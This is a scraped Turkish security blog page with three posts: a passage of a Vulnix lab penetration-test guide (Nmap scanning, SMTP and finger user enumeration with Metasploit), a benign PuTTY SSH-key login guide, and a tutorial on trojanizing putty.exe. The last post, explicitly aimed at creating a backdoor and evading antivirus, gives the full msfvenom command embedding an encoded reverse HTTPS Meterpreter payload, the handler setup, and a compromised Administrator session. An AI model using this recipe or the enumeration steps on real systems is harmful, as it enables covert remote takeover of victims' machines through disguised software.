src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s640/2.png" width="640" /></a></div><div style="text-align: justify;">Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s320/1.png" width="209" /></a></div><div style="text-align: justify;">Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde <b><i>Edit>Virtual Network Editor</i></b> bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s1600/33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s400/33.png" width="400" /></a></div><div style="text-align: justify;">Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.</div><h3><span style="color: #cc0000;"><br />1. Keşif ve IP/Port Tarama</span></h3><div style="text-align: justify;">Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.</div><h4>root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24</h4><div style="text-align: justify;">Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" /></a></div><h3><span style="color: #cc0000;"><br />2. Servisler Üzerinden Bilgi Toplama</span></h3><h3>a. SMTP</h3><div style="text-align: justify;">SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.</div><div style="text-align: justify;"><h4>root@agguvenligi:~# telnet hedef_ip_adresi 25<br />vrfy geçerli_kullanıcı_adı<br />vrfy geçersiz_kullanıcı_adı</h4><div>Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki <b><i>auxiliary/scanner/smtp/smtp_enum</i></b> modülü kullanılabilir.</div><div><h4>msf> use auxiliary/scanner/smtp/smtp_enum<br />msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101<br />msf auxiliary(smtp_enum) > run</h4></div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" /></a></div><br /></div><div>Manuel olarak yapılan örnekte <b>user </b>ve <b>vulnix </b>kullanıcılarının sistem üzerinde olduğu görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s1600/2013-08-24_204409.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s640/2013-08-24_204409.png" width="640" /></a></div></div></div><h3>b. FINGER</h3><div style="text-align: justify;">Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde </div><h4>root@agguvenligi:~# finger -l -p vulnix@192.168.1.101</h4><div style="text-align: justify;">komutu çalıştırılarak <b>vulnix </b>kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.</div><h4>root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s1600/2013-08-25_104440.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s640/2013-08-25_104440.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan </span><b style="text-align: justify;"><i>auxiliary/scanner/finger/finger_users</i></b><span style="text-align: justify;"> modülü kullanılabilir. Kullanımı şu şekildedir:</span></div><div><h4>msf> use auxiliary/scanner/finger/finger_users<br />msf auxiliary(finger_users) > set RHOSTS 192.168.1.101<br />RHOSTS => 192.168.1.101<br />msf auxiliary(finger_users) > run</h4></div></div><div class="separator" style="clear: both; text-align: center;"></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Bu...

PuTTY ile Parolasız Gizli Anahtarlı SSH Erişimi

<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7fSPl_Ky3B9TvCS22461eXnxch4JunOSUihUvuH-W9otIu-ib7_P13N3PFgxBCKHbueS2Vfn6F_JgUPkb7kGy6zZLYzEGomIDPkD793Wu9_oJNuYtpF27o75KApZoDb7NPH9qBsmZV7mZ/s1600/putty-tricks.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7fSPl_Ky3B9TvCS22461eXnxch4JunOSUihUvuH-W9otIu-ib7_P13N3PFgxBCKHbueS2Vfn6F_JgUPkb7kGy6zZLYzEGomIDPkD793Wu9_oJNuYtpF27o75KApZoDb7NPH9qBsmZV7mZ/s200/putty-tricks.png" width="200" /></a>SSH (Secure Shell) ağ üzerinden diğer bilgisayarlarda güvenli ve şifreli oturum açılmasını sağlar. Aynı zamanda uzaktaki sistemde komut çalıştırabilmenizi, bir bilgisayardan diğerine dosya taşıyabilmenizi, X oturumlarınızı güvenli bir şekilde kullanabilmenizi ve değişik TCP bağlantılarını güvenli bir şekilde yönlendirebilmenizi sağlar. Uçtan uca şifreleme ve karşılıklı kimlik doğrulama sağlarken iletişim bütünlüğünü de korur. İletişim güvenliği gerektiren hemen her türlü uygulamada (güvenli veritabanı bağlantısı, dosya transferi...) “güvenli tünel” olarak da kullanılabilir.</div><div style="text-align: justify;">Bu notta Windows işletim sistemlerinde sıklıkla kullanılan SSH istemcisi olan PuTTY uygulaması ile bir SSH sunucusuna anahtar dosyası ile nasıl erişilebileceğinden bahsedilecektir.<br /><a name="more"></a></div><div style="text-align: justify;">Genel hatları itibarıyla aşağıdaki adımlar takip edilir:</div><div style="text-align: justify;"></div><ol><li>Kullanıcı, kendisini tanımlamak için kullanacağı anahtar çiftini ssh-keygen programı ile üretir</li><li>Sunucu üzerinde “anahtar ile doğrulama” yöntemi ile giriş yapacağı hesaba açık anahtarını “güvenilen bir kullanıcı” olarak tanımlar</li><li>Kendi sistemi üzerinde yer alan gizli anahtar kullanıcının tanımlayıcısıdır.</li></ol><span style="text-align: justify;">Anahtar çiftinin üretilmesi için PuTTY ailesinden </span><a href="http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe" style="text-align: justify;" target="_blank">PuTTYgen</a><span style="text-align: justify;"> uygulaması indirilir. Açıldığında aşağıdaki gibi bir ekran ile karşılaşılmakta olup </span><b style="text-align: justify;">Generate </b><span style="text-align: justify;">butonuna tıklanıldığında anahtar üretim işlemi gerçekleşecektir. Burada anahtarın yeterince rastgele üretilmesi için imleç hareketlerinden yararlanılmakta olup farenin belirtilen alan içinde hızlı hareketi süreci hızlandıracaktır.</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyPzKWgChndOO7Fs5L4c5K0tIPHpoj3D9sbRgDX5yQPPhvTCBuZRZ_xLkrCwzsyZmApPXhNTphiOxhpCZ8-UiT_2eUrdFs-KSTkmkNi7WvEGGLcTFte251MlBOnT5ol5TodXGCqO_wR8bo/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="387" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyPzKWgChndOO7Fs5L4c5K0tIPHpoj3D9sbRgDX5yQPPhvTCBuZRZ_xLkrCwzsyZmApPXhNTphiOxhpCZ8-UiT_2eUrdFs-KSTkmkNi7WvEGGLcTFte251MlBOnT5ol5TodXGCqO_wR8bo/s400/1.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Anahtar üretimi sonlandığında durum aşağıdaki gibi olmaktadır. Gizli anahtar dosyası <b>Save private key</b> butonuna tıklanarak güvenli bir yere kaydedilmelidir. Bu dosya ile hedef sistemlere parolasız erişilebileceğinden güvenliği yüksek yerde tutulması önerilmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe0mKk22xXbMxS-_hXtAcP6zHw6m9GIbwRKp_qxGoNwRwpqQjuzOxpMkR5srfkyWO_38gKcTemacjiiNgxU2T2chdrRnv7rvaFVP2iLPBZ37fG95wK860Mhk5UIuHxb1mOqrXS6wcBbDJz/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="386" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe0mKk22xXbMxS-_hXtAcP6zHw6m9GIbwRKp_qxGoNwRwpqQjuzOxpMkR5srfkyWO_38gKcTemacjiiNgxU2T2chdrRnv7rvaFVP2iLPBZ37fG95wK860Mhk5UIuHxb1mOqrXS6wcBbDJz/s400/2.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Üretilen anahtar dosyası <b>.ppk</b> uzantılı olup içeriği aşağıdaki gibi olmaktadır. Bu dosyası herhangi bir metin düzenleyici uygulama ile açılıp içerisindeki <b>Public-Lines</b> <u>sonrasındaki 4 satır</u> kopyalanmalıdır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKaz-NmC8yM3IeWVZ2sGH-PjGwYEum5aCALAi-4AOx-I1fMEvjezIJ4ebwP6_gcWJ6s4fF1cBW7BTQTnf8tR6J4ZkJflC4CioHGK001S8r9ByWvayWrUUHPJxkdrGkupG1v33mzV2YSB7g/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKaz-NmC8yM3IeWVZ2sGH-PjGwYEum5aCALAi-4AOx-I1fMEvjezIJ4ebwP6_gcWJ6s4fF1cBW7BTQTnf8tR6J4ZkJflC4CioHGK001S8r9ByWvayWrUUHPJxkdrGkupG1v33mzV2YSB7g/s400/3.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Kopyalan bu satırların sonlarındaki CR karakterli silinerek tek bir satır haline getirilir. Bir kereye mahsus SSH sunucusuna parola ile bağlanıldıktan sonra <b>~/.ssh</b> dizini altında <b>authorized_keys</b> dosyası oluşturularak içeriğine daha önce kopyaladığımız tek satırlık anahtar yerleştirilir. Örnek olarak aşağıdaki gibi bir komutla ile bu dosya ve içeriği oluşturulabilir.</div><h4><span style="font-family: Courier New, Courier, monospace;"># cd ~/.ssh/<br /># echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAugfOYs2RTAOW/bIA7E5r6je5t0l95 JmJ+Aa5oW0mKkB0mw4QcezO2Hjq8c23/1/GYdqjeS/v95dMcCDLL5kkZMy/WIPC1V+15p2WUf gu6iBp37fWaB+t36bmHznVa/zzxqu6aQM+rBBgQM9 q4nQ7NUp1qD9weg0SfJv5DOPrLe8="  > authorized_keys</span></h4><div class="separator" style="clear: both; text-align: justify;"><b>authorized_keys </b>dosyasının izinleri <b>600 </b>olarak değiştirilmelidir. Bunun için</div><h4><span style="font-family: Courier New, Courier, monospace;"># chmod 600 authorized_keys </span></h4><div class="separator" style="clear: both; text-align: justify;">komutu kullanılabilir. Durumu özetleyen ekran görüntüsü aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3oGjtjbcHgv-lXuNJbXmUtUTlHmxAkQq8uY3nmzkkANhey27aZuYbfrZ_VcxFj_5GmGRcQx2asodnsyYQM5BoQULDmGh9COKOJVkxaD473UZslKKbcOyucbW-TkQoYdi7cGnMBsGVAxrn/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3oGjtjbcHgv-lXuNJbXmUtUTlHmxAkQq8uY3nmzkkANhey27aZuYbfrZ_VcxFj_5GmGRcQx2asodnsyYQM5BoQULDmGh9COKOJVkxaD473UZslKKbcOyucbW-TkQoYdi7cGnMBsGVAxrn/s400/4.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sonraki adımda istemci yapılandırması gerçekleştirilir. PuTTY istemcisi açıldıktan sonra <b>Connection>Data </b>menüsündeki kullanıcı adı girişi yapılır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWa4C7jSacJcv2Up24JAZANTbi09K4dsXu48Zn1y3CEyvNb4Yd8dJPdBBH_88P5_LGcUqqGeQqy7QyBsr8voR1kkKPFBj9r4HiIiTcRSBmutgoCkh6bEcMEHTnhjBI34nAbYd10CgGppOe/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWa4C7jSacJcv2Up24JAZANTbi09K4dsXu48Zn1y3CEyvNb4Yd8dJPdBBH_88P5_LGcUqqGeQqy7QyBsr8voR1kkKPFBj9r4HiIiTcRSBmutgoCkh6bEcMEHTnhjBI34nAbYd10CgGppOe/s400/5.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;"><b>Connection>SSH>Auth</b> menüsünde oluşturulan gizli anahtar dosyasının yolu belirtilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc1MipnuyhkkmjXY7cfX-mVmJUEratDMKmZIPOBaJRdfyvPHjwkc8RigC66luY1sg1UtiNTesegbH5Bn_nTc4rBeGDvbibng_BM_RJsiqUor2m2P0AYI3zUR6IATCckd5ApmK2W_sTyqCl/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc1MipnuyhkkmjXY7cfX-mVmJUEratDMKmZIPOBaJRdfyvPHjwkc8RigC66luY1sg1UtiNTesegbH5Bn_nTc4rBeGDvbibng_BM_RJsiqUor2m2P0AYI3zUR6IATCckd5ApmK2W_sTyqCl/s400/6.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;"><b>Session </b>menüsünden bağlanılacak sistemin IP adresi girişi yapıldıktan sonra <b>Login </b>butonuna tıklanıldığında parolası olarak sisteme aşağıdaki gibi erişilebileceği görülebilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLnq7xbd0FFJIf-TxqJ3ui9HBsTeqRUYBiEjjxPNIDq_D_4N4Anrek2te11VBXE1372b5rqJoLySTy1wgKglfNeHnULW9sWtz7zZAfe_0CFSmY-mjhF8LqGynVU2rs6qFP0tZMaLoSlPab/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLnq7xbd0FFJIf-TxqJ3ui9HBsTeqRUYBiEjjxPNIDq_D_4N4Anrek2te11VBXE1372b5rqJoLySTy1wgKglfNeHnULW9sWtz7zZAfe_0CFSmY-mjhF8LqGynVU2rs6qFP0tZMaLoSlPab/s400/7.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div></div><div></div>

PuTTY ile Parolasız Gizli Anahtarlı SSH Erişimi

SSH (Secure Shell) ağ üzerinden diğer bilgisayarlarda güvenli ve şifreli oturum açılmasını sağlar. Aynı zamanda uzaktaki sistemde komut çalı...

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s1600/malicious.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="http://1.bp.blogspot.com/-0xpT8zGTN4U/UcFVz7lNVeI/AAAAAAAAANA/9-6p83DLP2g/s200/malicious.jpg" width="200" /></a></div>Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecektir. Burada amaç normal bir exe dosyası kullanarak sisteme arka kapı oluşturmak ve antivirüs yazılımlarının tespitinden kaçınmaktır. Metasploit <b>msfvenom </b>aracı ile Putty binary dosyasına zararlı kod enjekte edilebilir.<br /><a name="more"></a></div><div style="text-align: justify;">Öncelikle exe dosyası temin edilir.</div><h4># wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe</h4><div style="text-align: justify;">Akabinde encode edilmiş payload bu dosya içerisine enjekte edilir. Burada <b>Reverse HTTPS Meterpreter</b> payload'u kullanılmış ve 10 iterasyon ile <b>x86/shikata_ga_nai encoder</b>'ı kullanılmıştır.</div><h4># msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 10 -k -x /tmp/putty.exe LHOST=192.168.4.101 LPORT=443 > xputty.exe</h4><div style="text-align: justify;"><blockquote class="tr_bq"><b>-x</b> seçeneği ile şablon exe olarak daha önceden indirilen putty belirtilmiş ve zararlı kod içerisine gömülmüştür.<br /><b>-k </b>seçeneği ile zararlı kod hedef makinede yeni bir thread olarak çalışabilmekte ve orijinal Putty fonksiyonları aynen korunmaktadır.</blockquote></div><div style="text-align: justify;">Saldırgan makine üzerinde handler başlatılarak kurban üzerinde zararlı exe'nin çalışıtırılması beklenir.</div><h4>(msf)> use exploit/multi/handler<br />msf exploit(handler) > set payload windows/meterpreter/reverse_https<br />PAYLOAD => windows/meterpreter/reverse_https<br />msf exploit(handler) > set lport 443<br />LPORT => 443<br />msf exploit(handler) > set lhost 192.168.4.101<br />LHOST => 192.168.4.101<br />msf exploit(handler) > exploit<br />[*] Started HTTPS reverse handler on https://192.168.4.101:443/<br />[*] Starting the payload handler...</h4><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s1600/putty-default.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxhzVKJ56pWkMySQEsK9mHj5nhERDSwr6rhiJxi93D-NxEwhRlgml0z_x6AVREMxvFW7__bRmqZWGF2a974HIZyY8OXadgYSD0Q20Gj-1rtge7SvEE5O89a8-TaiGM0ry-U2uZl9GuNyUL/s320/putty-default.png" width="320" /></a></div>Kurban tarafında exe çalıştırıldığında her ne kadar fonksiyonellik olarak fark gözükmese de arka planda saldırgan makineye bağlantı kurulmakta ve sistem ele geçirilmektedir.<br /><h4>[*] Meterpreter session 1 opened (192.168.4.101:443 -> 192.168.1.11:2710) at 2013-07-01 13:01:00 +0100<br />meterpreter > pwd<br />C:\<br />meterpreter > getuid<br />Server username: AG\Administrator</h4></div>

Çalıştırılabilir Windows Dosyası içerisine Zararlı Kod Enjeksiyonu

Bu notta basit olarak çalıştırılabilir bir Windows dosyasına Metasploit ile üretilmiş zararlı kodun nasıl enjekte edildiğinden bahsedilecekt...